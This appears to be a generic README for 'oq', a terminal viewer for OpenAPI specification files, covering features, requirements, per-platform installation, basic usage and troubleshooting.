Welcome to oq, a simple terminal viewer for OpenAPI specifications. This tool helps you read and understand API documentation effortlessly. Whether you are a developer or simply curious about APIs, oq makes it easier to explore OpenAPI files without complex setups.

• User-Friendly Interface: View your OpenAPI specs in an easy-to-read format.
• Fast Loading: Quickly load large API documents without delay.
• Wide Compatibility: Works on most operating systems, including Windows, macOS, and Linux.
• Hacktoberfest Ready: Participate in Hacktoberfest by contributing to the project!

• Operating System:

  • Windows 10 or later
  • macOS 10.12 or later
  • Linux distributions (Ubuntu, Fedora, etc.)

• Hardware:

  • Minimum 1 GB RAM
  • At least 100 MB of free disk space

• Terminal: A basic terminal or command line interface installed.

To get started with oq, you need to download and install it. Follow these simple steps:

1. Download oq: Visit the Releases Page to find the latest version of oq. You will see several files available for download.

2. Choose the Right File: Depending on your operating system, look for the appropriate file name:

   • For Windows: something like oq-windows.exe
   • For macOS: something like oq-macos
   • For Linux: something like oq-linux.tar.gz

3. Click to Download: Click the link for your operating system to download the file.

4. Locate the Downloaded File: Check your Downloads folder or the location where your browser saves files.

1. Run the Installer: Double-click the oq-windows.exe file you downloaded.

2. Follow the Prompts: Follow the installation prompts. You may need to allow the program to make changes to your system.

3. Launch oq: After installation, find oq in your Start Menu or desktop and click to open it.

1. Extract the File: If you downloaded a .tar.gz file, double-click it to extract.

2. Move to Applications: Drag the oq-macos file to your Applications folder for easy access.

3. Open Terminal: Open your Terminal application and type cd /Applications to change to the Applications directory.

4. Launch oq: Type ./oq-macos to start the program.

1. Extract the Archive: Open your terminal and navigate to the folder where you downloaded oq-linux.tar.gz. Use the following command:

   tar -xzf oq-linux.tar.gz

2. Change Directory: Navigate to the newly extracted folder:

   cd oq-linux

3. Run the Application: Type ./oq-linux and hit Enter to launch the viewer.

Once you open oq, you will see a prompt asking for the path to your OpenAPI specification file. Here’s how to proceed:

1. Input the File Path: Enter the full path to your OpenAPI file. This can be a local file or a URL.

2. Explore the Specification: Navigate through the document using your keyboard. Use the arrow keys to scroll. Press Q to quit the application.

3. Read API Methods: Each section will display methods like GET, POST, DELETE with their descriptions. This helps you understand how to interact with the API.

4. Additional Options: You can adjust viewing settings by typing help for more commands within the application.

Don’t forget to download oq from the Releases Page.

1. Follow the steps to install for your operating system.
2. Once installed, open the terminal and run oq.

If you want to help improve oq, contributions are welcome! Check the Issues tab on the GitHub repository for areas where you can assist.

Here are some common issues and how to resolve them:

• Error: File Not Found

  • Ensure you typed the correct path to your OpenAPI file.

• Application Won't Open

  • Make sure your OS meets the requirements, and try reinstalling.

• Slow Performance

  • If you are dealing with a large OpenAPI file, ensure your hardware meets the minimum requirements.

• oq makes viewing OpenAPI specifications simple.
• Follow the easy steps to download, install, and run the program.
• Use the viewer to understand APIs without technical complexity.

For any further assistance, please visit the GitHub Issues section, where the community can help you.